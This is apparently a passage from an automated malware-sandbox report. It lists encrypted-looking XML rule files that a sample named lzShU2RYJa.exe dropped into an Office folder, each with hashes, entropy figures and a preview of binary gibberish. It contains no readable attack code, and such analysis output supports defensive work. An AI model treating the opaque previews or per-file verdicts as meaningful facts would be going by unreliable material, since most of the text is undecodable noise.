Preview:	<?xml....V.jP.C<..=a...&!...{~.3.)T...+x......+.f...<...8...!tY.7..Y.i%.3.._~...WF.;/.R.....<.@.\|.4_..5..z..3.m....J..X.[.....x...R@.Dz....&..K.G.i..;JB1K}.J..h'..r.O......Z...K...:..8.w..Qa;.;...^\|...\....\U.r.3<.z...Wqy......o.A.Q(..s.\T"\..K$=...~.y..@<.6.n^N.F:NK.6..........tt.+'.X-....1.....M.......`&,.....<....r.K..W0x..Xi6xC.t..n.d....:H.o...U.."&$7..T<......7..t._T..0j....'.!......Z.~....T..VSnN5....\|..H..F<..9%..........f.f.........V.B..$..Il...O.....NB...yt%v....g...s..G.D.$.K..8...`.7.].\|.l.).+SXE.s..e...e....fI..P.kE7...i..1..G.E....VHf....L1...>.^..Z......3r... ........-...r.t/.h .o.A..q..N...}2.....m..L.X.m..g..M....&....8.p..;=b.N0.l.^...Yf.6...]2.N....4...Aj...{...tP.h...g>....~{........9q#..uo.F...h..c..c..-...X.....d5.t]E.n..N8C..M.u.a/..H?.....>he.X.s.u..+h....<V....f.......p......_....>.`"...... ..V...$..s\|.x.br.K.T.....P./..f......d.9v...@.)=...........;_>..F}.*..f.......#......&H.T.v.f\|_.)..._7..E([^.\|.;....FI...S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.820530145387655
Encrypted:	false
SSDEEP:	24:TMi6zQc3fsPv2TuJ/kqsX6ohzv0FC0WjOhBc3PmcVbD:PkQ2sWekLxZcFVWihKmcFD
MD5:	DFBB5FABE575DEB4E4FED2B26FAF1321
SHA1:	26802FF87AB21B3A93ABD7D5F0A705447C4C6C90
SHA-256:	BFC2BB5E6E7BAE38DB2014E8BF2A8C5370C62E2387ED85B76A44F8D0C6FCF0F2
SHA-512:	512DC8397BEDD8775F0F98926BC42719D3ACDE6BEFCD4FACA619C29B4A19CDB5061154A52E270C34D4407793511DE366C9E4DA9AC748F6C93F94AFC39BA9B959
Malicious:	false
Preview:	<?xml9..P#.s.....zJ..1..-d...a.C\...E.1..".......f..4.......KE.m.VP.\|&Q....I....G..j.....@.\...H57..y........".--\|.@.s...qm...%.G.h..dG...#.v..!....(/`..../O......(.5..M..s.R......E.)+qX..i3.Y.!@o..d........pV.8[..6.............?A"~\q..3&..XS...l..C..1..rZh^.cX.."I.....[.}A.0....#f"..cQc.<5g..$.....&..c.....h`Y-...j......].&..t.....8$..$T.UW...>.<..{@L...~..g..2,..!.X....>\|..m..qO.B!;....r..b..!...Y........#.r.v.Q[...D..`..A..A.$......l....Z.:.6.n`.......J`:..8..&...XH....../Wv...xO=-...G..m..'a.H.....o....-.78....8.....&X..i.W.....^;.X..Y.;...q.A.....x...E.hN.<.R.._...M..3...M]c.R...8_."{WD......z.-i.ur0+.kfr[..q]..K$6I......`..i..([l.g.....G.....'n.\|.s..f...Y..s......7.......G.7`.(&.i;.{..{C."C.mT..K(8}.. ....F5....\|..F.h+..=!..8....(7.....+..H..:f[..n..V?..'....:t.yiB..OdX~u.C..V..m...,U.T.;.X.c{..T3.a}.c.y...."0...u. 9.....c,@...n..x=>.h`auF....&.../)..^.N^.Ttk..(..@B........Vf.7Y.....+ty.h.....@..d}.?../.0..c...:.;rv...7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.833901069797375
Encrypted:	false
SSDEEP:	24:fmvk2yTbcsnEEcrZCxR9qYOb1HEVpgVRWPS2GqisVbD:OryjGYR9o6/UyHG1sFD
MD5:	F2E86E18944727D6ACBACFFAC2D71F8A
SHA1:	B54BF426E6E3FC8E0724CA2B6B2E3FFF9071B730
SHA-256:	EAB45C016946D4D67F4CC432C94EB0A9797DF81F1B29364E8EB37B385DA5AF16
SHA-512:	FA52BA8A66541207E2F2EEB64C57143CC0C6A2488FE3A75C0A2A6F828E22764E9B56D8647DE2C92596734DDF2B5688550CB80D2976421DDABF2E48F3B0879166
Malicious:	false
Preview:	<?xml:.......k..#.).x.dofL...Z...\|j.l4..M..%@.;q...............X....X..... ...sy...F9.#...AD.......0..6...]4.xJ..$....\@U`'..Sl(....r......kxU..(...Uf<.qZ......Op;..&q...Y.^..I.e.\|...P..@...>T&.......0Z.Lzwf._4...P.\|..N'PT.Zq4...Lx".).F..1[./5K._.L.1..y..I.s..&S....P..4(...{rg..iu2x..g..-.1.....'.&..h....v%.......s.-................r..J.I.F.D...hlM..Hgb-....D...$Z6..:.v..dC......Y..f...[..x;.j%...\|...?....lg....\|,...tif.6.FF....e...c...Hj...C.....A...@FC.KU.j-O=.....pd..]..j.;H.....:.E..q....tq...../.U....9~..wiHEW...R...m..:izj".P...............Z....P.K..c..I$...^w}..=9.`.cK.P...uiQ..pF..;.`.-..*...=Y..6\s}$l.._.;.S.s.k.....K.............. ./\..]Q.....A.{...<<qH.v_..n.!.9.%.v....@.@...j..F.]/\|Io...E..;..I.V....@..E'....Q....6...W.]..^%...a....}..q..dJCp..GS...VLi!....W.q.S9....#x....\|.;?c..f...%j...Z.Z3.....o....},.?.9%9&....B.0xYd.dy..7[E....#a.......).fxm.2...4b(15...3.L......&2.".B.9.Ww..J-.K.kQ...f...l .....s...)8..G.AK..i..Sg.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.794193825136805
Encrypted:	false
SSDEEP:	24:qteLYDC3Rz7vxn99sKz7MkCvthkNcDImvsqx3avA573ssFJeZfLHdcBVbD:qteLaC3RzrxZz4kC/2R+ss3OY3rFJeJo
MD5:	DEC3C25EE3723B1FF44649087E31C60E
SHA1:	C38909297D6B61358666B872D1978A3FB84AD664
SHA-256:	0558D3512D856577BCD34FB0BD6A2765999233FD7DC39CC538C1B7D21D6C1206
SHA-512:	431F6D1B370E142D898B81F651444B5840DB3194A20A6098744A2C6B35A709C7C304C794A865C98725FB5BDA690FA76B9FD5053AA158621297B6A0801A5A95EB
Malicious:	false
Preview:	<?xml.."..i,...E.N.. c.6...@{.?..Hy..=....}.0.:p.}..s....vQ...........5$...$,D..<.ez...._.....z[..0.9/3...H...h..........\|..g..W...UI.}.N.!b.,..<.1....d..JAm.......19^F#.j.xDa...Z.......x? .......G.\.zu..p.:./.h. .(wC...a....z....H..f}.4.B.k..s!.I..Z...?..................!+.......[.........{\.`.MG.........y.s....e.......zS.r.....?..h.(64.4]..VB..\0.2....5.xy.r1E.).. 6\|..)8..4......R...$;E.YRH..p.....i;}.rWW....?!h..>.6..c....A..........a!.B.V.....WXG$...2..u=........[K...ZX..tD6=.....E~.V.s0.L.i...w.{[$..G......<(t........h'^_..^..]".M+..@.`...11O.a.F...@.'T...... P.. "$..\|K.T..g...C._.....z..0.^;;.......F.sF!.Fn..,?......@.......O........_hL...Kb.k.y..z_B$s.+FU./.pFxs..6....O...\QqS.2./../..E...`.i........dbJ..di.......X...kF.{.O.n.(..g..p.{Z...3F/.$M..8y..^]<.i$.....O....y7.DE.x..s..:.8A.B.:4...po'`v.~eX.`...?~k...U.nd.....k<.5..\|m...d.}...+.....Gt.{........^..._.?...I..P..0....L..u. ...oe`q....OI....Ik.Q. .._$....{...\|v]..~..itkm7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.947273541095937
Encrypted:	false
SSDEEP:	96:ls+GpVAjWLjsompEWzEDZEYqLVnTkX50C9:lsFpS6js69EYkhA50S
MD5:	52D77A9E7A0508384CA9AC67AF128730
SHA1:	E7D9B44AAFD32C1CEB3D473AEEE46EA70C98DF7A
SHA-256:	7F1EEC2748B0C87FAB29E9424E7896694783164CFAFA4046DBBF0DE2FF375AF8
SHA-512:	62A3536087DBC2262491EEAFF978D41DCAE7EB64ACA8FBEC81F3C085272B94C4F976336A87C89C9DA8BCBEFEFECEBC9F9B15057261F092ACB52A3DA3B7DC83D9
Malicious:	false
Preview:	<?xml..K.1}t..yu.1..1.xJ_w.....=Ju-./.'...%....0..G......_......m..J>.(....A..#85....yCk.M.8..BF]a...9/gL.k...j...7:.@...).j..K.b[..^.n..J^....T.m..2{.R5S.#.z.\|..=........R..#....D/7.u.m.C.A..\.f...2.g..4...!......!...U.2".n.;.NP5P....U..V/u.9.?.f.\.s.f.B.'....W...7..d..a.Q].6J.qk.....B...Q.y..6...8.........->..R....j#......Y".X....z.8BS.....!...R...P .....l...~......Q.1...7.e.7....7..T...`...N...3.M#.T3yJW..T#h;.\.......S...!.y.vP.......U..X.}......(k..p.^....z.Kb)..^.m.{.v:...I.\{...K.c.!}r-...m.......}.!{=....P...Ky...h.r.h.'.....`.G+.?B.k.R....=......x.G...h`1B0.Ri...n...%..@e.HV..N%hJW.`.{\....o..5O.......@..W..bi..Q....X.d.mo.~gs.].Z ..P\vx../....aI6..>......4..bB.;.ak........KC...j-..hF2..TY.q....}kHF.K....ox#.C..1.a.H,A&.....,..D...4Ge..^.................Y.....W.>5..x/...v.....2ng......7..V.q=.[..A.-j..Z4ym.X..!9.Hi@+.LiC..)...=t.bV.2HRe.%..c...!-x.'ay.gm. S~..h.q:-...3s..2.v.SU..O.......O.....%.?.c........"m.x1Dn....(}t..vm.L$q.}./k.o'..-.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.828391257690178
Encrypted:	false
SSDEEP:	24:rY0fhI6E4ooRVblZw5AI8rp873nbJXUMiEFoI9C9qQ4on+EVbD:M0fCdmDweI8rp8DnVmEFoKC1xvFD
MD5:	0531AE6CB8C0E2F806259E4E2A0FCCC2
SHA1:	A8F6A0469942C9E8D36536C00248FE2DEC8FBCE4
SHA-256:	EA658D41F2D2D11CF214A088B47F0EA38AA8DC225E2B8E2B87F571EA1C1A10F3
SHA-512:	AB06A5A6C4D8A424904FF09A13AB9736C94A16E350C6E483225884D9EE8ECE0885C8ACA3EB465172B627EE810C7A896F2CEFA0C795264C73155465169A23D0FF
Malicious:	false
Preview:	<?xml ..L....;.#........=.t.AX..D..]F..._i...........0tCd.F.Qc..0.8..^T..1NX........-..s...r..$...z..n....;...U.....R...H..y.A.?.,.y..f....-n.6.m...O.7........[t0..MP9..Q..^./%..1..R.O.L...y4..%UC.Hq%.5..F.u.w.`...v[2.,.......ff...T`............I..L..P...P.&...K."..........dg.4p(x..0ln.S.....Q7.wq,sz.F`.%y).'.>......9....g..j.L...t.W......({b...\|..I.!.4v...6@!..o.%..i;...w6k.1.....#.....~f.t.A..fC^.Z@.......R..A..pl....R..L.....0....(iP.D'.1U.j.k@..<..Vc&.~.h.[^...m.....j.'M..V#..H6...:.o...S..........b.....O.......wH......O.,+u.2.l...{....].l...c..u3....X6F<.Y/s.#.......rm.N.aq.m%.+..u...h.s".F....+}...e...t2.../Gi.M.....".?............m...9.V..x..0_z...T./,....t,#Zt..E'b-..&..j2G./..i..L..8V...>v.l.tHOB...d5....{..f.c.iM.....^..Bua...,.w,)...c$..f...!A.;.......G\..Ls....{..B.JS.C.....s...4F..y\|R.&S ..3..%..Q.>...f._].r..Q..P<[O".i.)s.&N....aG.f..gd+.p]..#..6.BR".cP...lv.....A.M....[3..#....&...!/....>...K.........Kj..U.MWSDrF(.&f..?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.971357186409104
Encrypted:	false
SSDEEP:	192:Cg96yvSm8d6hGb1V8crb1GWxiOZ0Bjmg7DFbr3WcWS8V:T8qSnd6u1V8c3cWxi9B68FPGw8V
MD5:	BDC96754B294731C0C35CEE426E58E4E
SHA1:	193276F66269CE7188C26EBB8C55A707FC47AB6B
SHA-256:	5845EB67DDD30496430649808F26DC028B06BFF532420E58D16F63B2357AFB26
SHA-512:	ECAF9DC39627186B42743F1CF5F41CD3524D5E2D578E9517AEB1813F01F564BC029AC8438C8401A2446541C0856A66C43E4633289CE459533632FE4ABA71E06F
Malicious:	false
Preview:	<?xml..)...w.t:Qd..v....l.-._....B\.X.m.rm..PXX...+..t.^.JF......7..(xv0?....B......`5..H.4..;7..L;.E..<..1A.k)......r\.Y...>.y&I...3...2....Ef!....@.Xd.......,.&<e=.\.Suw...K.'.._H...CAF....b;ax.`'_.A.3......@Y_.....]...8].F4..i.-..+._'y,..pD....#.%...~.@Z...'.."...kp.$j...h..qKX@.}.g5KY.v.m=.5...K..\`<..j......n..AHVA..%.....c.!........f....;f..1...g....{.G...3j...:.H.j.?.N/.%53..).-A:..i...! ..sZ.z#4<^....c7..]4.R..A.....pa..U..<.B..n7Xsa.M~..Hx..X..f..).T../..9].....o..L+.C...e..v.E."C.....zZ?Y.<.......F.-..At..........<?......{.R`._...F.)a.U...\|.b.L........0.=T.1h.Jb..MBV.#...{1.D 4....n...RD..V'@.^i.2VY,D.Y.....h.y\|..Z.W.?z..Y....x.G.<...=A.~d...HS....GiC\l....7....+.*..^.....-..:.q.o..g..Ov$'....E.....7B....%.[..s.!e..4^..#... 0S..<...M...b+.$..;9..I.^..o.t....X.]..#[.."...}>........Hf..3L...j....,j.G.....yJ....jl...S...z..9..c.......J..%`.a.$.^$...Q`......x.u.....`:....jI..D...m...........aO..-Z.uAn......}....\.tq1..oJ...1Q...`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.742827985027763
Encrypted:	false
SSDEEP:	24:LeIwyH5aleWq2/EaRJTlWD0XlJFN3QN5J/KMiVbD:LbwcuvTlWoFN3QNeNFD
MD5:	F458C750D977386EA0C45478CEA390EA
SHA1:	34FE357F40180FF5BBF0C66145E0F7F211598E52
SHA-256:	9A5803772B01E94597AD6F48EB05A09F426025D8515D068A88E2D908E241D685
SHA-512:	5B55965E96D7990CF94CC9C6605DC7BE4319FB68DEEEAFE19161EEC4BD6F9D1FA796B11A688C13D210DCA841320379F17EAA7730F86CF09621A65211D32872B3
Malicious:	false
Preview:	<?xml.N...G&.......=...:....H.."F...1....jD.y...X.._.d.....A.o....C{Lg..x7.$V...N...GC.N.(....@.....T.../=.....A./.Ek......F.R@~.6=....@...L..%~.-E?t...,.........6t....A..A&......jh4.b.. ]3Z.{..H..z.s..2..saP....D..v-5.<"..`.3...#....=.z..V....].y.j.=b>......xj...M..4..c.?Ry......a!..N\|x............b.U........D.Q.....g.GW....vr......@....tl:..R.0?....u........C.....1\..`.h...Uu..........B.9...I....B........p.T?....6..}+3Q..C.?-B.c.L+ ..bG..T....~.fQq.,.....q(...3....F.UQ.....A*.M.)pl.i.3+!...D1.cn.X..H ..f..@k.An.r....d..wA.S...V.Y.......;.B@........T....c........0.....~..n.j.QK. ..a}y..m.%...N8.._..Q....h.?....w......F=....r..).'.).X7.......d...1......&$1..._.r`.$.}x.=.........e...m....".itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.912626343055446
Encrypted:	false
SSDEEP:	48:8ECyCX8kizdKbU6sC9PbcODHPvG0sBv71t0FEILf/mSOuhPc2OFrSFD:twudR6sC9zBDHPvGBvn8Lnm1u1pmu9
MD5:	6AAAE5E6139C9F326BB89020C5F41FB6
SHA1:	E192CEF001048F7BE4B61BD718C08A092364C3CA
SHA-256:	72B792E637E9821DBC05C229D650164725D9BED4087EF1ECA11B3D04B814F38D
SHA-512:	F2A1DCCCA7D12797A68CE373C93D35902090A78F81E9E7518778698243E14CCE4FBEFDE79B0D9D1B7A7D1C1F0A45B1B3318D57F485A2AEE2A800802C1574C5D0
Malicious:	false
Preview:	<?xml......c.....t..i...'Li..5......x......jV...u....2....j...A.w...^..\|N.R...,...s...Rfz..0.$2...-e.zm..L.].%.z.e.PR(...?\...l.&G../.{.Bc..$F....TA\.,.$s..^.Y.4R.1.4.L.e.&.?g..R ...g43$....BZ..J...T.2..%/D........pgzxW...j...K..P......D\......qV...3..E@o~......NJJ....K......t..y7m9...u.k.Ow.T..))..G.N....!....OJR....s..g..-..j...a..S{.......$..H...^...U.....H..b...c3.....p\...;`.......>....M>..\...#....%..86...\|.....x..2Y...v;......../ .,v......_ ..%..mf....o..x...h.-.T.r.*M.t.<...:.:.5[.&.].Z...I...p]...1..m......F..V....B>_6.....h.kK.U.SR....h....J.%....)e.#,x)&.M....T.......N..S../:}.6.U>.5.aY'..!....k......OF-..>...y... g...m...;5.Fj..I....d.e0)....qv.....T-.0..y......;-I.....?....F....^P{...I;9.".0gh.kK........w6..Pq.3(...j...a..`7^........VIr.1.....Q/..f.......A.h..lzl.Cb.o&0.:F.x%....L..@.x..}J.l..0...4.G.;..Pm4=\.....!.3x........s...9..>V.1:......y..iP/9...85.3s3.,AI.}.2D^jO....<.-Y..Y.MHdb...qg.WE..v..^..A.dSG

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.832173847735322
Encrypted:	false
SSDEEP:	24:aup0O1KUh9x9k5fTi72UqEYxg7B+QprnukS1VZta73kVbD:aYZxh9UfW+5xKH7YS3kFD
MD5:	E4F9B1FE6CE9A73D27E22C554BB2C2C9
SHA1:	A0203294E8D67BCD83E594F48FE851341F32FD0E
SHA-256:	AC22504FB7678C1487D122270F821736F2F8ABE23EFB8C244708278C2F4B7D47
SHA-512:	D91E9539E72C387F8B80ACB833EF008A6429A2B243ED9B174DEE59E757992494C8F7B8F92DE4ABDAD6D3DB4AF48CECAD5CB77A8027B63C2F5FC6A37EED8984D9
Malicious:	false
Preview:	<?xml...m...Z..tZ.X..v....H(\..........kH.../RhV./.%..qwJ..U3.....yM+G....UP.i.).f.4...<....y.r.LO.....u...."qd.N(..^......W...4%8.n.A...y.....z.5y....<?FJ.m.=)9bl.....n.8V_.....+.a........;w.-TM.@.......@.....X'.z@D.~;...r2...y..W0..w..v...:j.........,.....9.7.>..:.....)...l....a..".I.9J.t.....<.-M.T.1.....n...#\.W;n.L.wc.~Y.O\........dD.m..?.....`.u./.1k..}r.(..:/)Lh...KT/.7.......n15a....G...O/....rm.Q.........D0.$.T..cQ.q..8s..}.....A4..&._#...Q.)....?yr.O..NUZ...v2O:....[.J.........#U..4G4...(I6......J...v...p.......M.......^..s{i.s....g.@Jn2.#Q.!.>]...j)6Z.we..hW`5.go=O.>-...t.x(.....'.}=!MI.......}.."tm.x9.4.'.G...U..t..%y.$.w^s...V...-i..'.g..Z....N?..H.....T.~.2.U.B..g........$!......A.Ht.......4.b..7x3%R.......?\..pm.D."@4..4...%$~n^O..49..1}[t-.`f.....E<...?.E_H...c...f....W...sq.H./g..p.UP.~#.k:A...X.xaP....-J...U....N..~.5........7.s.*...l....z...yLJ?.U.U...W..7....7..Y.."....9(.!...-.z..O.q!.@....x.}.I.NOJ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.938459692755243
Encrypted:	false
SSDEEP:	96:cHD6iOYeRmwb/ti8H9ACV9GWvC81eqKZHCe9:tYZwbHH9ACV51GZiu
MD5:	B64272D849AFEF1BB99A1151A9D1321F
SHA1:	90F80BABD1E3610785B24AF723D312B48D1133CA
SHA-256:	28F1789551402406D4893438EC5DF8633D654587375DF0DBBC59C8863577A1F6
SHA-512:	6E67697D5D122E86F3F94CA85C00A0B38119516D983916CE92598016241D15EE9FDF560A652EA1E4DEA7F4DD3F11CBA014272EF258DAF8793C018CEC5B9523DA
Malicious:	false
Preview:	<?xmlG.4......f...e.....3......+....La.....y...I];!pV..nO..2H..g..%.....+..._K....l...br.5...;.H.T...G..sQ9.p.2..n...=.L..d...+.E....yH..wbCQL..":....q.`d.6...r..i...J.R..A.+P...;.k..?..h\......&.x.X..H...+.w@6........{,H.d..........w.r..U...0y.AYxx..##[...W.......A.....}_.0...-..,. ..wE..L...y5..%...6...W$../.....pYDO...yM...9.F.b.K/..T'B..4].^..H-.w....-...x]G.<.......F.J4.2W .>.qC-...=Q@P.V......?..M..4.\A.z..@Cl[..6.D..k...+../.....^[t..:..{.X..7{..g.....'YW..>.OI...f..n..(...a....~.\.7....g1I.yhJ^.Q...t...BEw.l.8W.8.. ...7`-6N.s...J#.j.1!bOJO.B.C.jH.\|5.9.a.x ...K%Cc...........9C.....n.....9.......<.b..C.;n..=}......b.l.\.....[.s..]e.wP....`UeQ..C...0.:..L...Pn.n#....f2.d.\.%...... @.R...0\|Ds'd\|E.....TJ'.4....=/.i.....!.......Kn.9uT..R5..i..<...~......O...t.v.$..S.!.Q.....`.6..f.3pda.?.G..f1.....^.C..9.8'....z.w[.U........s..d.bU...d_.l.....>....h...8..A....M.....r....E.=Wom.?......m....B.2.\|.b3......o}3Y,.V..4.J 2..mD..:..."....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.918638506777627
Encrypted:	false
SSDEEP:	48:mcD2bAXflsOJUivqDNjO9JKpZkcOz2Y6ircFD:mQ2qvvYjjZkcdjirc9
MD5:	956C5A8FA44857E468B667F921CDEFD3
SHA1:	9EFD025D9FEE30527AFBBEC31801790CE0D27EF3
SHA-256:	2099F4D6056C6822E4E8E1BE1262CD44BAC16A47E3AC31422825EA1963BF247E
SHA-512:	CA0E2892290FA27855723781E556544B0060F31E1664A2280AABD44E1AF94CE8B9264E90508DC45BCE5A0D6022B17FF2A6422853702DB6F89F4E93E6EC3D16F8
Malicious:	false
Preview:	<?xml....Qy......O.RK..E...(...`.G.\|gs...+...{J.,I...V4.-..t....h.)D..=_.....cw.+T.i;......c.M....%.@.R.o......1+B...1..:...~..O......?..@.j.....8.@..\-...........(2..xk.H.K.5Q...Z.5a.......w3L.5.Kp....pCY......>.......l.".xG8I..].7R.....,.}.nJX..?....&......d..\|.......].!."[tT........E.N....RQ..X...0E..<.4.f...$.\..L)!m\{iKUy..NI.=k....<y..+.}(.M..y<..l.+....2$.J...u-.J.....u.n..3'..1g....j....7.....6R....y.<..X..:.^..r_.3...l...E^...........z`'.y...........P8....u.."U.5.ia.... j..\|P........l...x.py..^...H:Ng;.......%mz.OA.....'.\v..i....f..MkH-(.._z..._....-....H.%....!.@.....V......V..mx>kh...#.9.....Q......d...@.c...>(W.<sd).......B....Y..\|..l..& ...J.<..=....(.K_.;.)....QP../.;G..;.\|<.s8....n..#.Dj.`g..3Z.H./x...xD.5.K[.].W.....).MGA.....d.U..)1'...M...C.\......-Sw..#..:."s..N.T(.=.....*./.).{.r..f..-]....{.[f...qa.W..=...$.`.#..+.x....W.5.A.....3....e.~.[uY@`..l.z...2...,Z....eVb6.M.P...i......@d...\.0..&v.....5...H...[......i...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.979209471115284
Encrypted:	false
SSDEEP:	192:P9jSU2bNRxRPIjYjFw+PG1tgps5W8/1flMt3:gRHPPLG1tge16t3
MD5:	AB44FF8DAFA77A999CDEE2CFFB511728
SHA1:	7C1910B6540C3C1FD3CD92418CAC98A15FD1B78B
SHA-256:	2FEE0E49AF5A3C896F7AFB4780CBBE77C6488DA6D2D612AA6B30C9BA854E74AE
SHA-512:	A72FE8C3C716220996A1E092D889F506162692DFE8C9ECC795AE1D854A165CB0B72F0B0681D8AADD1262E714903B5487380247ACCD55C499A132065996601E6E
Malicious:	false
Preview:	<?xml&u....D.Y.8.\:1.......y...gO.C.......;..-i..;.z.........PK.Ee0.[..5..q.....Ml.".^..{$-{..x;(....f...q....!....z.3%.._..7.n.........R..Ju...r.q...0...".%..^9..08mY.v.W<..-.6.l.......G..8.......?r..e<.:!...........0C.g....>...'..........YLy.,..*....3 ...Z.......q].FS.....g.y.}T,....u.....?.&...2.:32........\.&.a..F7...c.9O.....&m?(.C@2..Sko...}M.[4..M@.4...x...).>..R0..?.Rt...4..R....#..<.......D.>U=.~;A.#.x..'.;I..X..<..{.<...P{...."..4....TQsA....l...q..K..YD..N..<.m.s..8M..e..gg;...L...&.h........d.E...J,g...c.wA....~......+.u......\.h0.xkc.."...R;sH...a.`s3..@.$'U.....\|....g....".._...mN...... .j.`...V.2..$.....\..`..G.]e4.h7.a).qz.............q#A\...8h.`z...$.....s..?NSK.(.....Y....;'W.J....2h.....7..O<...{..L.....]....0.o.EkA.E.....A9.#:.?.Zj.~./:-5A~..=.\|...$.ZQ...\.....&.z.7&..f.H.H.h{...lLt..0h..fD.{..A....E.'.N...H.9.xa.Pkwz.1.E..6_.\,.^kh.go..Q6=.\|.....(]..%.x....6.Q.._...6.....4C...v.\....@.g...X.+..L......ey

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.959636941864378
Encrypted:	false
SSDEEP:	96:n+TTaRDsQtiM4I4TYurpzpUXNpDTkyTR+aTYcLA21+mZUI6foO8pd9:nSTamQdAYurwHRQf21l08
MD5:	78BADBEC4098013EB4D785C1DC29E46B
SHA1:	0B1A5FD26BAB2CDB8D765770F5484B97A2D9D99E
SHA-256:	DFF4CD31497B9129032665A1DD09B2EFB8E43ED51749BF6CB4BE494128153DC2
SHA-512:	B9AB43C7289A844882E22ECCECF462F7BB43F1C103E882AE0649C0934901846ED7A6E65CAD124D14CC78876FC20C95011E8AF0032A6D3E248AC3F23A426B743C
Malicious:	false
Preview:	<?xml...R..l.I.....y3..YhPJ...3WTD']..g.K.1m....W.rwb..`X....6"O...K.28..Y..`=..:...;h....k",...@$../>I..bXW...5.Re..#l..?.q.....E.......c....dF...(.-..7F...Wl%.g.n...8..x..L...a0.f....c..........F.Z....A.>+b.J.....=6.L....c..."]J.:....U...(0.]D}..>.......k:q...........(.PC..Z<9.m..5..P....7...%.$...2O.....q0\|.F&.#...b.py_}^Y..&{...K.....i..].....j$..).7..=+.Gt.q......X..r....?..m.....K..MTl...3.&.YBT}Cr..N3......X..^..3.J.J.Kb9.lsI....t...<[... ....C4b.D...L..Rjh.-Z.Ve.2..@.l..Y.Q/..=..W.M..zL....6....e...@ .3..p.:......Y......\....cZ....O.l.oYakO..U..U..t.t...).....)...t...66).B...Y"Vo.H.[G..h.d{O6..Ue._..cl.... .Y...T.U`.I..@..O.$G..{!a.m..H...T.:9..8L...f..Ca-Cf.X.<..^..IV\|1p..%%V....vW..6..g.y.....k..@M........=<f..7$vx.J...t.,l\.D$..u.#,\|Oq.1...6.....bn.../I.Hc$.Q.*..Q./pUe...>@}....O..;.....&SJ.2{4j....{...ax..s.9......1..<....D.zJ...m.Q...SYn^.u.3.&^hmP~l.O.Au.nC.... .z..3...E..t..oSz...U.....(.etf..[..j....kJ..E.c.......h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.966407007224103
Encrypted:	false
SSDEEP:	96:ryJ0e3/cd9EO3eQN2og4KfXPJRe23aF+ksc8DDEahNke5NAT9:rbGE9ENQQ4WLaF+s83D6
MD5:	D1738A9EDDA37CC8933211F0FE84ABC1
SHA1:	88A7E3DF1F096706E118CAB16FD458034C718051
SHA-256:	3A040023E5D8FB1A968F50436FE4EF41BEE4C86A8A76D974F6CD639809FD2384
SHA-512:	9A01513520751BD4BD513A50D28696D86FF17E0071877B792FBF97E64AED11FC3F4007912928B59AEEA61020C855C173812177B56ADC55E80EC89EAD2D8FB6A9
Malicious:	false
